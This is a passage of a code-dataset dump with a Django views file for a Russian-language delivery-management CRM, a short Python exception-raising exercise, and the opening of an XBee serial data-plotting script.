ValidationError(u'формат гос номера должен быть например A000AA124 или A000AA24. ')\r\n\r\ndef get_timeform(label='Время', help_text='чч:мм', input_formats=['%H:%M'], value='', required=False):\r\n\ttime_form = forms.TimeField(\r\n\t\t\t\t\tlabel=label, \r\n\t\t\t\t\thelp_text=help_text,\r\n\t\t\t\t\trequired=required,\r\n\t\t\t\t\tinput_formats=input_formats,\r\n\t\t\t\t\twidget=forms.TimeInput(attrs={'class':'form-control clockpicker', 'value':value}),\r\n\t\t\t\t\t)\r\n\treturn time_form\r\n\r\n\r\ndef get_datetimeform(label='Дата', help_text='дд-мм-гггг', input_formats=['%d-%m-%y', '%d-%m-%Y',], value='', dateformat=\"dd-mm-yy\", required=False):\r\n\tdatetime_form = forms.DateTimeField(\r\n\t\t\t\t\tlabel=label, \r\n\t\t\t\t\thelp_text=help_text, \r\n\t\t\t\t\trequired=required,\r\n\t\t\t\t\tinput_formats=input_formats,\r\n\t\t\t\t\twidget=forms.DateTimeInput(attrs={'class':'form-control datepicker', 'data-dateformat': dateformat, 'value':value}),\r\n\t\t\t\t)\r\n\treturn datetime_form\r\n\r\nclass Form_filter_order(forms.Form):\r\n\tfilterchoice=(\r\n\t\t('all', 'Все доставки'),\r\n\t\t('my', 'Мои доставки'),\r\n\t\t)\r\n\tfilter = forms.ChoiceField(\r\n\t\tlabel='Фильтр',\r\n\t\t help_text='Фильтр', \r\n\t\t widget=forms.Select(attrs={'class': 'form-control'}), \r\n\t\t choices=filterchoice, \r\n\t\t required=False)\r\n\tdelstatusc = forms.MultipleChoiceField(\r\n\t\tlabel='Статус заявки', help_text='фильтр', \r\n\t\twidget=forms.SelectMultiple(attrs={'class': 'form-control', 'size': '5',}), choices=delstatusc, \r\n\t\trequired=False)\r\n\tsortchoice=(\r\n\t\t('default', 'По умолчанию'),\r\n\t\t('ctime', 'Старые (дата создания)'),\r\n\t\t('-ctime', 'Новые (дата создания)'),\r\n\t\t('-area', 'Район'),\r\n\t\t)\r\n\tsort = forms.ChoiceField(\r\n\t\tlabel='Сортировка', \r\n\t\thelp_text='Сортировать по полю',\r\n\t\twidget=forms.Select(attrs={'class': 'form-control'}), \r\n\t\tchoices=sortchoice, \r\n\t\trequired=False)\r\n\tpaging = forms.BooleanField(label='На одной странице', required=False)\r\n\r\n\r\nclass Form_inway_xls(forms.Form):\r\n\tcourier = forms.ModelMultipleChoiceField(\r\n\t\tqueryset=courier.objects.all(), \r\n\t\twidget=forms.SelectMultiple(attrs={'class': 'form-control', 'size': '7',}),\r\n\t\tlabel='Выберите пользователей',\r\n\t\trequired=False,\r\n\t\t)\r\n\tstartdata = forms.DateField(\r\n\t\tlabel='Начало периода', \r\n\t\thelp_text='дд-мм-гггг', \r\n\t\trequired=False,\r\n\t\tinput_formats=['%d-%m-%y', '%d-%m-%Y',],\r\n\t\twidget=forms.TextInput(attrs={'class':'form-control datepicker', 'data-dateformat': \"dd-mm-yy\"}),\r\n\t\t)\r\n\t\t\r\n\tenddata = forms.DateField(\r\n\t\tlabel='Конец периода', \r\n\t\thelp_text='дд-мм-гггг', \r\n\t\tinput_formats=['%d-%m-%y', '%d-%m-%Y',],\r\n\t\twidget=forms.TextInput(attrs={'class':'form-control datepicker', 'data-dateformat': \"dd-mm-yy\"}),\r\n\t\trequired=False,\r\n\t\t)\r\n\tarea = forms.MultipleChoiceField(\r\n\t\tlabel='Район', \r\n\t\twidget=forms.SelectMultiple(attrs={'class': 'form-control', 'size': '7',}), choices=delareac, \r\n\t\trequired=False)\r\n\r\nclass dellist_list(ListView):\r\n\tmodel = dellist\r\n\ttemplate_name = 'dellist_list.html'\r\n\t#paginate_by = 10\r\n\r\n\tdef dispatch(self, request, *args, **kwargs):\r\n\t\ttry:\r\n\t\t\tself.admin = get_object_or_denied(self.request.user, 'deliveryapp', 'L') #проверяем права\r\n\t\texcept PermissionDenied:\r\n\t\t\tself.admin = False\r\n\t\treturn super(dellist_list, self).dispatch(request, *args, **kwargs)\r\n\r\n\tdef get_queryset(self):\r\n\t\tdata = super(dellist_list, self).get_queryset().order_by('end_deliverytime', 'start_deliverytime', '-status')\r\n\t\tget_prof_user = profileuser.objects.get(user=self.request.user)\r\n\r\n\t\tf=Form_filter_order(self.request.GET)\r\n\t\t\r\n\t\treq = ''\r\n\t\tpaging = 20\r\n\r\n\t\tif f.is_valid():\r\n\t\t\tfdata = f.cleaned_data\r\n\t\t\t\r\n\t\t\tif fdata['filter']:\r\n\t\t\t\treq = '%s&filter=%s' % (req, self.request.GET['filter'])\r\n\t\t\t\tif self.request.GET['filter'] == 'my':\r\n\t\t\t\t\ttry:\r\n\t\t\t\t\t\tdata=data.filter(courier=courier.objects.get(user=get_prof_user))\r\n\t\t\t\t\texcept:\r\n\t\t\t\t\t\tpass\r\n\t\t\tif fdata['sort']:\r\n\t\t\t\treq = '%s&sort=%s' % (req, self.request.GET['sort'])\r\n\t\t\t\tif fdata['sort'] != 'default':\r\n\t\t\t\t\tdata=data.order_by(fdata['sort'], 'end_deliverytime', 'start_deliverytime', '-status')\r\n\r\n\t\t\tif fdata['delstatusc']:\r\n\t\t\t\treq = '%s&delstatusc=%s' % (req, self.request.GET['delstatusc'])\r\n\t\t\t\tdata=data.filter(status__in=fdata['delstatusc'])\r\n\t\t\t\t\r\n\t\t\tif fdata['paging']:\r\n\t\t\t\treq = '%s&paging=%s' % (req, self.request.GET['paging'])\r\n\t\t\t\tpaging = len(data)\r\n\r\n\t\tself.req = req\r\n\t\t#data=data.order_by('-area', 'start_deliverytime', 'end_deliverytime')\r\n\t\t\r\n\t\t#paginator\r\n\t\tself.p = Paginator(data, paging)\r\n\t\t#page = self.kwargs['page']\r\n\t\txpage = self.request.GET.get('xpage', default=1)\r\n\t\t#print self.p.number()\r\n\t\ttry:\r\n\t\t\tpdata = self.p.page(xpage)\r\n\t\texcept PageNotAnInteger:\r\n\t\t\t# If page is not an integer, deliver first page.\r\n\t\t\tpdata = self.p.page(1)\r\n\t\texcept EmptyPage:\r\n\t\t\t# If page is out of range (e.g. 9999), deliver last page of results.\r\n\t\t\tpdata = self.p.page(self.p.num_pages)\t\r\n\r\n\t\treturn pdata\r\n\r\n\tdef get_context_data(self, *args, **kwargs):\r\n\t\tcontext_data = super(dellist_list, self).get_context_data(*args, **kwargs)\r\n\t\tcontext_data.update({'admin': self.admin,})\r\n\t\tcontext_data.update({'form': Form_filter_order(self.request.GET),})\r\n\t\tcontext_data.update({'form_inway': Form_inway_xls(self.request.GET),})\r\n\t\tcontext_data.update({'req': self.req,})\r\n\t\tcontext_data.update({'urlpage': reverse_lazy('dellist_list'),})\r\n\t\tcontext_data.update({'count': self.p.count,})\r\n\t\treturn context_data\r\n\r\nclass dellist_detail(DetailView):\r\n\tmodel = dellist\r\n\ttemplate_name = 'dellist_detail.html'\r\n\r\n\tdef dispatch(self, request, *args, **kwargs):\r\n\t\t#get_object_or_denied(self.request.user, 'deliveryapp', 'L') #проверяем права\r\n\t\treturn super(dellist_detail, self).dispatch(request, *args, **kwargs)\r\n\r\n\tdef get_context_data(self, **kwargs):\r\n\t\tcontext_get_delevent = delevent.objects.filter(dellist=self.kwargs['pk'])\r\n\t\tcontext_data = super(dellist_detail, self).get_context_data(**kwargs)\r\n\t\tcontext_data.update({'context_get_delevent': context_get_delevent})\r\n\t\treturn context_data\r\n\r\nclass dellist_inway_xls(ListView):\r\n\tmodel = dellist\r\n\ttemplate_name = 'dellist_inway_xls.html'\r\n\t\r\n\tdef dispatch(self, request, *args, **kwargs):\r\n\t\treturn super(dellist_inway_xls, self).dispatch(request, *args, **kwargs)\r\n\r\n\tdef get_queryset(self):\r\n\t\tdata=super(dellist_inway_xls, self).get_queryset()\r\n\t\tdata=data.filter(status='accept')\r\n\t\tf=Form_inway_xls(self.request.GET)\r\n\r\n\r\n\t\tif f.is_valid():\r\n\t\t\tfdata = f.cleaned_data\r\n\r\n\t\t\tif fdata['courier']:\r\n\t\t\t\tdata=data.filter(courier__in=fdata['courier'])\r\n\r\n\t\t\tif fdata['area']:\r\n\t\t\t\tdata=data.filter(area__in=fdata['area'])\r\n\r\n\t\t\tif fdata['startdata']:\r\n\t\t\t\tdata=data.filter(status='accept')\r\n\t\t\t\tdata = data.filter(start_deliverytime__gte=fdata['startdata'])\r\n\r\n\t\t\tif fdata['enddata']:\r\n\t\t\t\tdata=data.filter(status='accept')\r\n\t\t\t\tendtime = datetime.time(hour=23, minute=59, second=59)\r\n\t\t\t\tendata = datetime.datetime.combine(fdata['enddata'], endtime)\r\n\t\t\t\tdata = data.filter(start_deliverytime__lte=endata)\r\n\r\n\r\n\t\tdata=data.order_by('courier', '-area', 'start_deliverytime', 'end_deliverytime')\r\n\t\treturn data\r\n\r\nclass Form_dellist_add(forms.ModelForm):\r\n\tdef clean(self):\r\n\t\tcleaned_data = super(Form_dellist_add, self).clean()\r\n\t\tstart_time = cleaned_data.get(\"start_deliverytime_time\")\r\n\t\tend_time = cleaned_data.get('end_deliverytime_time')\r\n\t\t\r\n\t\tstart_datetime = cleaned_data.get(\"start_deliverytime\").replace(hour=start_time.hour, minute=start_time.minute, second=0)\r\n\t\tend_datetime = cleaned_data.get(\"end_deliverytime\").replace(hour=end_time.hour, minute=end_time.minute, second=0)\r\n\r\n\t\tif start_datetime > end_datetime:\r\n\t\t\tmsg = u'Время доставки ДО раньше чем время доставки ОТ'\r\n\t\t\tself._errors['end_deliverytime_time'] = self.error_class([msg])\r\n\t\t\tself._errors['end_deliverytime'] = self.error_class([msg])\r\n\r\n\t\treturn cleaned_data\r\n\r\n\tclass Meta:\r\n\t\tmodel = dellist\r\n\t\tfields = ['order', 'status', 'uname', 'phone', 'area', 'addr', 'start_deliverytime', 'end_deliverytime', 'total', 'sum', 'payment_method', 'comment']\r\n\r\nclass dellist_add(CreateView):\r\n\tmodel = dellist\r\n\ttemplate_name = 'dellist_edit.html'\r\n\tform_class = Form_dellist_add\r\n\r\n\tdef dispatch(self, request, *args, **kwargs):\r\n\t\tget_object_or_denied(self.request.user, 'deliveryapp', 'C') #проверяем права\r\n\t\treturn super(dellist_add, self).dispatch(request, *args, **kwargs)\r\n\r\n\r\n\tdef get_form(self, form_class=None):\r\n\t\tform_class = self.get_form_class()\r\n\t\tform = super(dellist_add, self).get_form(form_class)\r\n\t\tform.fields['phone'].validators=[validate_phone]\r\n\t\tform.fields['start_deliverytime'] = get_datetimeform(label='Дата доставки от', required=True)\r\n\t\tform.fields['start_deliverytime_time'] = get_timeform(label='Время доставки от', required=True)\r\n\t\tform.fields['end_deliverytime'] = get_datetimeform(label='Дата доставки до', required=True)\r\n\t\tform.fields['end_deliverytime_time'] = get_timeform(label='Время доставки до', required=True)\r\n\t\treturn form\r\n\r\n\r\n\tdef get_initial(self):\r\n\t\tinitial = super(dellist_add, self).get_initial()\r\n\t\tinitial = initial.copy()\r\n\t\tif (self.request.GET.get('order')):\r\n\t\t\torderr_id = int(self.request.GET.get('order'))\r\n\t\t\torderr = order.objects.get(id=orderr_id)\r\n\t\t\tinitial['order'] = orderr\r\n\t\t\tinitial['uname'] = orderr.uname\r\n\t\t\tinitial['phone'] = orderr.phone\r\n\t\t\tinitial['area'] = orderr.area\r\n\t\t\tinitial['addr'] = orderr.addr\r\n\t\t\tinitial['comment'] = orderr.comment\r\n\t\t\tinitial['total'] = orderr.total\r\n\t\t\tinitial['sum'] = orderr.sum\r\n\t\t\tif orderr.terminal == True:\r\n\t\t\t\tinitial['payment_method'] = 'terminal'\r\n\t\t\telse:\r\n\t\t\t\tinitial['payment_method'] = 'cash'\r\n\r\n\t\treturn initial\r\n\r\n\r\n\tdef form_valid(self, form):\r\n\t\tdata_form = form.cleaned_data\r\n\t\tinstance = form.save(commit=False)\r\n\t\tget_prof_user = profileuser.objects.get(user=self.request.user)\r\n\r\n\r\n\t\tif instance.start_deliverytime != None and data_form['start_deliverytime_time'] != None:\r\n\t\t\tinstance.start_deliverytime = instance.start_deliverytime.replace(hour=data_form['start_deliverytime_time'].hour, minute=data_form['start_deliverytime_time'].minute, second=0).strftime(\"%Y-%m-%d %H:%M:%S\")\r\n\r\n\t\tif instance.end_deliverytime != None and data_form['end_deliverytime_time'] != None:\r\n\t\t\tinstance.end_deliverytime = instance.end_deliverytime.replace(hour=data_form['end_deliverytime_time'].hour, minute=data_form['end_deliverytime_time'].minute, second=0).strftime(\"%Y-%m-%d %H:%M:%S\")\r\n\r\n\t\tinstance.save()\r\n\t\tself.data=instance\r\n\t\tcomments = \"%s создал доставку id: %s\"%(get_prof_user, instance.id)\r\n\t\tde=delevent.objects.create(user=get_prof_user, dellist=instance, event='add', comment=comments,)\r\n\r\n\t\tpath = reverse('dellist_detail', args=[instance.id])\r\n\t\tvalue_chat = get_message('dellist_add', self.request.user, path)\r\n\t\tsend_message_in_chat(value_chat)\r\n\r\n\t\treturn super(dellist_add, self).form_valid(form)\r\n\r\n\tdef get_success_url(self):\r\n\t\treturn reverse_lazy('dellist_detail', args=[self.data.id])\r\n\r\n\r\nclass dellist_edit(UpdateView):\r\n\tmodel = dellist\r\n\ttemplate_name = 'dellist_edit.html'\r\n\tform_class = Form_dellist_add\r\n\r\n\tdef dispatch(self, request, *args, **kwargs):\r\n\t\tget_object_or_denied(self.request.user, 'deliveryapp', 'C') #проверяем права\r\n\t\treturn super(dellist_edit, self).dispatch(request, *args, **kwargs)\r\n\r\n\r\n\tdef get_object(self, queryset=None):\r\n\t\tself.data=super(dellist_edit, self).get_object()\r\n\t\tself.data.start_deliverytime_time = ''\r\n\t\tself.data.end_deliverytime_time = ''\r\n\r\n\t\tif self.data.start_deliverytime != None:\r\n\t\t\tself.data.start_deliverytime_time = self.data.start_deliverytime.strftime(\"%H:%M\")\r\n\t\t\tself.data.start_deliverytime = self.data.start_deliverytime.strftime(\"%d-%m-%Y\")\r\n\r\n\t\tif self.data.end_deliverytime != None:\r\n\t\t\tself.data.end_deliverytime_time = self.data.end_deliverytime.strftime(\"%H:%M\")\r\n\t\t\tself.data.end_deliverytime = self.data.end_deliverytime.strftime(\"%d-%m-%Y\")\r\n\t\treturn self.data\r\n\r\n\r\n\tdef get_form(self, form_class=None):\r\n\t\tform_class = self.get_form_class()\r\n\t\tform = super(dellist_edit, self).get_form(form_class)\r\n\t\tform.fields['start_deliverytime'] = get_datetimeform(label='Дата доставки от', required=True)\r\n\t\tform.fields['start_deliverytime_time'] = get_timeform(label='Время доставки от', value=self.data.start_deliverytime_time, required=True)\r\n\t\tform.fields['end_deliverytime'] = get_datetimeform(label='Дата доставки до', required=True)\r\n\t\tform.fields['end_deliverytime_time'] = get_timeform(label='Время доставки до', value=self.data.end_deliverytime_time, required=True)\r\n\t\treturn form\r\n\r\n\r\n\tdef form_valid(self, form):\r\n\t\tdata_form = form.cleaned_data\r\n\t\tinstance = form.save(commit=False)\r\n\r\n\t\tif instance.start_deliverytime != None and data_form['start_deliverytime_time'] != None:\r\n\t\t\tinstance.start_deliverytime = instance.start_deliverytime.replace(hour=data_form['start_deliverytime_time'].hour, minute=data_form['start_deliverytime_time'].minute, second=0).strftime(\"%Y-%m-%d %H:%M:%S\")\r\n\r\n\t\tif instance.end_deliverytime != None and data_form['end_deliverytime_time'] != None:\r\n\t\t\tinstance.end_deliverytime = instance.end_deliverytime.replace(hour=data_form['end_deliverytime_time'].hour, minute=data_form['end_deliverytime_time'].minute, second=0).strftime(\"%Y-%m-%d %H:%M:%S\")\r\n\r\n\t\tinstance.save()\r\n\t\tself.data=instance\r\n\t\tget_prof_user = profileuser.objects.get(user=self.request.user)\r\n\t\tcomments = \"%s отредактировал доставку id: %s\"%(get_prof_user, instance.id)\r\n\t\tde=delevent.objects.create(user=get_prof_user, dellist=instance, event='edit', comment=comments,)\r\n\r\n\t\tpath = reverse('dellist_detail', args=[instance.id])\r\n\t\tvalue_chat = get_message('dellist_edit', self.request.user, path)\r\n\t\tsend_message_in_chat(value_chat)\r\n\r\n\t\treturn super(dellist_edit, self).form_valid(form)\r\n\r\n\r\n\tdef get_success_url(self):\r\n\t\treturn reverse_lazy('dellist_detail', args=[self.data.id])\r\n\r\n\r\nclass dellist_edit_courier(UpdateView):\r\n\tmodel = dellist\r\n\ttemplate_name = '_edit2.html'\r\n\tfields = ['courier']\r\n\r\n\tdef get_form(self, form_class=None):\r\n\t\tform_class = self.get_form_class()\r\n\t\tform = super(dellist_edit_courier, self).get_form(form_class)\r\n\t\tform.fields['courier'].required=True\r\n\t\treturn form \r\n\r\n\tdef dispatch(self, request, *args, **kwargs):\r\n\t\tget_object_or_denied(self.request.user, 'deliveryapp', 'C') #проверяем права\r\n\t\treturn super(dellist_edit_courier, self).dispatch(request, *args, **kwargs)\r\n\r\n\tdef get_object(self, queryset=None):\r\n\t\tdata=super(dellist_edit_courier, self).get_object()\r\n\t\tif data.status == 'success':\r\n\t\t\traise PermissionDenied\r\n\t\telse:\r\n\t\t\treturn data\r\n\r\n\tdef form_valid(self, form):\r\n\t\tinstance = form.save(commit=False)\r\n\t\tif instance.status == 'wait':\r\n\t\t\tinstance.status = 'accept'\r\n\t\tinstance.status = 'accept'\r\n\t\tinstance.save()\r\n\t\tself.data=instance\r\n\t\tcomments = \"Сотрудник %s выставил курьера %s на доставку id: %s\" % \t(self.request.user.user, instance.courier, instance.id)\r\n\t\tde=delevent.objects.create(user=self.request.user.user, dellist=instance, event='accept', comment=comments,)\r\n\r\n\t\tpath = reverse('dellist_detail', args=[instance.id])\r\n\t\tvalue_chat = get_message('dellist_accept', instance.courier.user.user, path)\r\n\t\tsend_message_in_chat(value_chat)\r\n\r\n\t\treturn super(dellist_edit_courier, self).form_valid(form)\r\n\r\n\r\n\tdef get_success_url(self):\r\n\t\treturn reverse_lazy('dellist_detail', args=[self.data.id])\r\n\r\n\r\ndef dellist_accept(request, pk):\r\n\tdata = get_object_or_404(dellist, id=pk, status='wait')\r\n\tuser = request.user\r\n\tpu = request.user.user\r\n\t#get_object_or_denied(request.user, 'deliveryapp', 'C')\r\n\ttry:\r\n\t\tobject_courier = courier.objects.get(user=request.user.user)\r\n\texcept:\r\n\t\tobject_courier = courier.objects.create(\r\n\t\t\t\tuser=pu,\r\n\t\t\t\tphone = pu.phone,\r\n\t\t\t\tuname = '%s %s' % (user.last_name, user.first_name),\r\n\t\t\t\tcourier_type = 'permanent',\r\n\t\t\t\tcode = int(sms_generator()),\r\n\t\t\t)\r\n\tdata.status='accept'\r\n\tdata.courier=object_courier\r\n\tdata.save()\r\n\tcomments = \"%s взял доставку id: %s\"%(object_courier, data.id)\r\n\tde=delevent.objects.create(user=pu, dellist=data, event='accept', comment=comments,)\r\n\r\n\tpath = reverse('dellist_detail', args=[data.id])\r\n\tvalue_chat = get_message('dellist_accept', user, path)\r\n\tsend_message_in_chat(value_chat)\r\n\r\n\treturn HttpResponseRedirect(reverse('dellist_detail', args=[data.id]))\r\n\r\ndef dellist_success(request, pk):\r\n\tdata = get_object_or_404(dellist, id=pk, status='accept')\r\n\t#get_object_or_denied(request.user, 'deliveryapp', 'C')\r\n\tuser = request.user\r\n\tpu = request.user.user\r\n\ttry:\r\n\t\tobject_courier = courier.objects.get(user=request.user.user)\r\n\texcept:\r\n\t\tobject_courier = courier.objects.create(\r\n\t\t\t\tuser=pu,\r\n\t\t\t\tphone = pu.phone,\r\n\t\t\t\tuname = '%s %s' % (user.last_name, user.first_name),\r\n\t\t\t\tcourier_type = 'permanent',\r\n\t\t\t\tcode = int(sms_generator()),\r\n\t\t\t)\r\n\tdata.status='success'\r\n\tdata.save()\r\n\tcomments = \"%s выполнил доставку id: %s\"%(object_courier, data.id)\r\n\r\n\tpath = reverse('dellist_detail', args=[data.id])\r\n\tvalue_chat = get_message('dellist_success', user, path)\r\n\tsend_message_in_chat(value_chat)\r\n\r\n\tde=delevent.objects.create(user=pu, dellist=data, event='success', comment=comments,)\r\n\tget_point_type = pointstype.objects.get(type='deliveryapp')\r\n\tadd_points=points.objects.create(user=pu, point=get_point_type.point, type=get_point_type, comment=comments, cuser=user, muser=user)\r\n\treturn HttpResponseRedirect(reverse('dellist_detail', args=[data.id]))\r\n\r\n#####\r\n\r\nclass tstype_list(ListView):\r\n\tmodel = tstype\r\n\ttemplate_name = 'tstype_list.html'\r\n\tdef dispatch(self, request, *args, **kwargs):\r\n\t\tget_object_or_denied(self.request.user, 'deliveryapp', 'L') #проверяем права\r\n\t\treturn super(tstype_list, self).dispatch(request, *args, **kwargs)\r\n\r\n\r\nclass tstype_create(CreateView):\r\n\tmodel = tstype\r\n\ttemplate_name = '_edit2.html'\r\n\tfields = ['name']\r\n\r\n\r\n\tdef dispatch(self, request, *args, **kwargs):\r\n\t\tget_object_or_denied(self.request.user, 'deliveryapp', 'C') #проверяем права\r\n\t\treturn super(tstype_create, self).dispatch(request, *args, **kwargs)\r\n\r\n\tdef get_success_url(self):\r\n\t\treturn reverse_lazy('tstype_list')\r\n\r\n\r\nclass tstype_edit(UpdateView):\r\n\tmodel = tstype\r\n\ttemplate_name = '_edit2.html'\r\n\tfields = ['name']\r\n\r\n\r\n\tdef dispatch(self, request, *args, **kwargs):\r\n\t\tget_object_or_denied(self.request.user, 'deliveryapp', 'U') #проверяем права\r\n\t\treturn super(tstype_edit, self).dispatch(request, *args, **kwargs)\r\n\r\n\tdef get_success_url(self):\r\n\t\treturn reverse_lazy('tstype_list')\r\n\r\n\r\nclass tstype_del(DeleteView):\r\n\tmodel = tstype\r\n\ttemplate_name = '_confirm_delete.html'\r\n\r\n\tdef dispatch(self, request, *args, **kwargs):\r\n\t\tget_object_or_denied(self.request.user, 'deliveryapp', 'U') #проверяем права\r\n\t\treturn super(tstype_del, self).dispatch(request, *args, **kwargs)\r\n\r\n\tdef get_context_data(self, **kwargs):\r\n\t\tmsg = \"Вы точно хотите удалить:\"\r\n\t\tcontext_data = super(tstype_del, self).get_context_data(**kwargs)\r\n\t\tcontext_data.update({'msg': msg})\r\n\t\tcontext_data.update({'back_url': reverse_lazy('tstype_list')})\r\n\t\treturn context_data\r\n\r\n\tdef get_success_url(self):\r\n\t\treturn reverse_lazy('tstype_list')\r\n\r\n\r\n###!###\r\n\r\nclass ts_list(ListView):\r\n\tmodel = ts\r\n\ttemplate_name = 'ts_list.html'\r\n\tdef dispatch(self, request, *args, **kwargs):\r\n\t\tget_object_or_denied(self.request.user, 'deliveryapp', 'L') #проверяем права\r\n\t\treturn super(ts_list, self).dispatch(request, *args, **kwargs)\r\n\r\n\r\nclass ts_create(CreateView):\r\n\tmodel = ts\r\n\ttemplate_name = '_edit2.html'\r\n\tfields = ['user', 'status', 'tstype', 'name', 'modelinfo', 'numinfo']\r\n\r\n\r\n\tdef dispatch(self, request, *args, **kwargs):\r\n\t\tget_object_or_denied(self.request.user, 'deliveryapp', 'C') #проверяем права\r\n\t\treturn super(ts_create, self).dispatch(request, *args, **kwargs)\r\n\r\n\tdef get_form(self, form_class=None):\r\n\t\tform_class = self.get_form_class()\r\n\t\tform = super(ts_create, self).get_form(form_class)\r\n\t\tform.fields['numinfo'].validators=[validate_number_ts]\r\n\t\treturn form\r\n\r\n\tdef form_valid(self, form):\r\n\t\tinstance = form.save(commit=False)\r\n\t\tinstance.numinfo = instance.numinfo.upper()\r\n\t\tinstance.save()\r\n\t\treturn super(ts_create, self).form_valid(form)\r\n\r\n\r\n\tdef get_success_url(self):\r\n\t\treturn reverse_lazy('ts_list')\r\n\r\n\r\nclass ts_edit(UpdateView):\r\n\tmodel = ts\r\n\ttemplate_name = '_edit2.html'\r\n\tfields = ['user', 'status', 'tstype', 'name', 'modelinfo', 'numinfo']\r\n\r\n\r\n\tdef dispatch(self, request, *args, **kwargs):\r\n\t\tget_object_or_denied(self.request.user, 'deliveryapp', 'U') #проверяем права\r\n\t\treturn super(ts_edit, self).dispatch(request, *args, **kwargs)\r\n\r\n\tdef get_form(self, form_class=None):\r\n\t\tform_class = self.get_form_class()\r\n\t\tform = super(ts_edit, self).get_form(form_class)\r\n\t\tform.fields['numinfo'].validators=[validate_number_ts]\r\n\t\treturn form\r\n\r\n\tdef form_valid(self, form):\r\n\t\tinstance = form.save(commit=False)\r\n\t\tinstance.numinfo = instance.numinfo.upper()\r\n\t\tinstance.save()\r\n\t\treturn super(ts_edit, self).form_valid(form)\r\n\r\n\r\n\tdef get_success_url(self):\r\n\t\treturn reverse_lazy('ts_list')\r\n\r\n\r\nclass ts_del(DeleteView):\r\n\tmodel = ts\r\n\ttemplate_name = '_confirm_delete.html'\r\n\r\n\tdef dispatch(self, request, *args, **kwargs):\r\n\t\tget_object_or_denied(self.request.user, 'deliveryapp', 'U') #проверяем права\r\n\t\treturn super(ts_del, self).dispatch(request, *args, **kwargs)\r\n\r\n\tdef get_context_data(self, **kwargs):\r\n\t\tmsg = \"Вы точно хотите удалить:\"\r\n\t\tcontext_data = super(ts_del, self).get_context_data(**kwargs)\r\n\t\tcontext_data.update({'msg': msg})\r\n\t\tcontext_data.update({'back_url': reverse_lazy('ts_list')})\r\n\t\treturn context_data\r\n\r\n\tdef get_success_url(self):\r\n\t\treturn reverse_lazy('ts_list')\r\n\r\n\r\n###&###\r\n\r\nclass courier_list(ListView):\r\n\tmodel = courier\r\n\ttemplate_name = 'courier_list.html'\r\n\tdef dispatch(self, request, *args, **kwargs):\r\n\t\tget_object_or_denied(self.request.user, 'deliveryapp', 'L') #проверяем права\r\n\t\treturn super(courier_list, self).dispatch(request, *args, **kwargs)\r\n\r\n\r\nclass courier_detail(DetailView):\r\n\tmodel = courier\r\n\ttemplate_name = 'courier_detail.html'\r\n\r\n\tdef dispatch(self, request, *args, **kwargs):\r\n\t\tget_object_or_denied(self.request.user, 'deliveryapp', 'L') #проверяем права\r\n\t\treturn super(courier_detail, self).dispatch(request, *args, **kwargs)\r\n\r\n\tdef get_context_data(self, **kwargs):\r\n\t\tcontext_data = super(courier_detail, self).get_context_data(**kwargs)\r\n\t\tcontext_data.update({'ts_objects_list': ts.objects.filter(user=self.kwargs['pk'])})\r\n\t\treturn context_data\r\n\r\nclass courier_create(CreateView):\r\n\tmodel = courier\r\n\ttemplate_name = '_edit2.html'\r\n\tfields = ['user', 'uname', 'phone', 'courier_type', 'ctime', 'etime']\r\n\r\n\r\n\tdef dispatch(self, request, *args, **kwargs):\r\n\t\tget_object_or_denied(self.request.user, 'deliveryapp', 'C') #проверяем права\r\n\t\treturn super(courier_create, self).dispatch(request, *args, **kwargs)\r\n\r\n\r\n\tdef get_form(self, form_class=None):\r\n\t\tform_class = self.get_form_class()\r\n\t\tform = super(courier_create, self).get_form(form_class)\r\n\t\tform.fields['phone'].validators=[validate_phone]\r\n\t\treturn form\r\n\r\n\r\n\tdef form_valid(self, form):\r\n\t\tinstance = form.save(commit=False)\r\n\t\tinstance.code = int(sms_generator())\r\n\r\n\t\tinstance.save()\r\n\t\treturn super(courier_create, self).form_valid(form)\r\n\r\n\r\n\tdef get_success_url(self):\r\n\t\treturn reverse_lazy('courier_list')\r\n\r\n\r\nclass courier_edit(UpdateView):\r\n\tmodel = courier\r\n\ttemplate_name = '_edit2.html'\r\n\tfields = ['user', 'uname', 'phone', 'courier_type', 'ctime', 'etime']\r\n\r\n\r\n\tdef dispatch(self, request, *args, **kwargs):\r\n\t\tget_object_or_denied(self.request.user, 'deliveryapp', 'U') #проверяем права\r\n\t\treturn super(courier_edit, self).dispatch(request, *args, **kwargs)\r\n\r\n\r\n\tdef get_form(self, form_class=None):\r\n\t\tform_class = self.get_form_class()\r\n\t\tform = super(courier_edit, self).get_form(form_class)\r\n\t\tform.fields['phone'].validators=[validate_phone]\r\n\t\treturn form\r\n\r\n\r\n\tdef get_success_url(self):\r\n\t\treturn reverse_lazy('courier_list')\r\n\r\n\r\nclass courier_del(DeleteView):\r\n\tmodel = courier\r\n\ttemplate_name = '_confirm_delete.html'\r\n\r\n\tdef dispatch(self, request, *args, **kwargs):\r\n\t\tget_object_or_denied(self.request.user, 'deliveryapp', 'U') #проверяем права\r\n\t\treturn super(courier_del, self).dispatch(request, *args, **kwargs)\r\n\r\n\tdef get_context_data(self, **kwargs):\r\n\t\tmsg = \"Вы точно хотите удалить:\"\r\n\t\tcontext_data = super(courier_del, self).get_context_data(**kwargs)\r\n\t\tcontext_data.update({'msg': msg})\r\n\t\tcontext_data.update({'back_url': reverse_lazy('courier_list')})\r\n\t\treturn context_data\r\n\r\n\tdef get_success_url(self):\r\n\t\treturn reverse_lazy('courier_list')\r\n","sub_path":"crm/deliveryapp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":25920,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"256435240","text":"#!/usr/bin/python3\n\n'''\nchmod +x $(ls)\n'''\n\ntry:\n ling = input('Qual a melhor linguagem de programação ? ')\n if ling.title().strip() != 'Python':\n raise ValueError(\"Linguagem errada! \") # raise = criar um 'erro '\n else: \n print('Acertou, parabéns')\nexcept ValueError as e: # esse 'e' retornara o meu raise\n print(e)","sub_path":"aula02/rise.py","file_name":"rise.py","file_ext":"py","file_size_in_byte":344,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"519102997","text":"from digi.xbee.devices import XBeeDevice\nfrom digi.xbee.exception import TimeoutException, InvalidPacketException\nimport matplotlib.pyplot as plt\nimport matplotlib.ticker as plticker\nimport matplotlib.animation as animation\nfrom matplotlib import style\nimport numpy as np\nPORT = \"COM6\"\nBAUD_RATE = 57600\ncount = 0\n\ndef main():\n\tprint(\" +-----------------------------------------+\")\n\tprint(\" | Python Xbee Receive And Graph Data |\")\n\tprint(\" +-----------------------------------------+\\n\")\n\n\tdevice = XBeeDevice(PORT, BAUD_RATE)\n\t#head = [\"Time\",\"State Of 